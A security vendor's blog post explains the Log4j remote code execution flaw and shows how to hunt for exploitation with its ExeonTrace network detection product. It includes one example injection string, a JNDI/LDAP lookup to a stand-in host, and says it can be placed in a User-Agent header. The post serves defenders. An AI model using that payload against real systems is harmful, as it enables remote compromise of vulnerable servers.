Threat Hunting and Detection of the Log4j Exploit using the ExeonTrace NDR

Original blog post:

How the Log4j vulnerability can be exploited

The Log4j library is used in Java applications to write log messages. Log4j supports a property substitution syntax [https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution] to enrich these log messages with information provided by Java code loaded from another system. Vulnerable versions of Log4j (all versions from 2.0-beta9 to 2.14.1) don’t t seem to restrict this function. Thus, an attacker simply needs to trick a vulnerable Java application into logging strings like ${jndi:ldap://example.com/exploit} to run the exploit stored on example.com. For instance, nearly all Web applications log the User-Agent of clients. Thus, an attacker can simply write the above string into the User-Agent field of HTTP requests to compromise a vulnerable Web application.

It’s further important to note that data entered via Internet-facing applications is often forwarded to other systems. Therefore, an attacker can potentially exploit a system that is not directly exposed to the outside but simply processes data. For example, an attacker could provide an invalid username via an Internet-facing application that triggers an error with a corresponding log on a vulnerable backend application. As a result, the backend application is compromised.

On the positive side, not all Java versions seem to be affected in their default configurations, according to Veracode [https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228] and Crowdstrike [https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/]. Further, vulnerable releases >=2.10 can be hardened without replacing the library by setting either the system property log4j2.formatMsgNoLookups=true (-Dlog4j2.formatMsgNoLookups=true on the java command line) or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true [https://logging.apache.org/log4j/2.x/security.html].

For a more detailed explanation of the exploit and recommendations, please see the blog post of NCSC/GovCERT.ch [https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/].

Threat hunting with ExeonTrace

The Log4j exploits load the malicious Java application via the network. Thus, if corresponding network logs (NetFlow, IPFIX, firewall logs) are provided to ExeonTrace, you can check ExeonTrace for suspicious connections triggered by your internal servers.

To inspect the connections that internal servers trigger, we recommend to check “Flow analytics -> Client server pairs -> Outbound” in your ExeonTrace instance (URL:
https://YOUR_EXEONTRACE_INSTACE/analytics/flow/dominant-client-server-pairs/outbound). Note the filter “client:10.7.190.0/24” in the example shown below such that only client activities of servers in the example network “10.7.190.0/24” are visualized (the servers act as clients in the case of this attack because they try to establish a connection to the external resource to load the malicious code). Make sure to check “Show failed connections” to also see exploit attempts that were most likely unsuccessful and “Include all ports” to see connections happening over high ports.

It’s also a good idea to check the tab “Inbound” for suspicious activities, because in case of incomplete log data, connections are sometimes rotated. Also, the tab “Internal” is interesting because compromised systems might conduct internal reconnaissance and lateral movement activities.

Automated detection with ExeonTrace

Independent of this exploit, ExeonTrace continuously monitors the network for signs of internal reconnaissance and lateral movement. Further, there’s the option to configure an analytics model triggering alerts when novel connections are established by selected server networks. Please contact our support (support@exeon.ch) for assistance with setting up this model.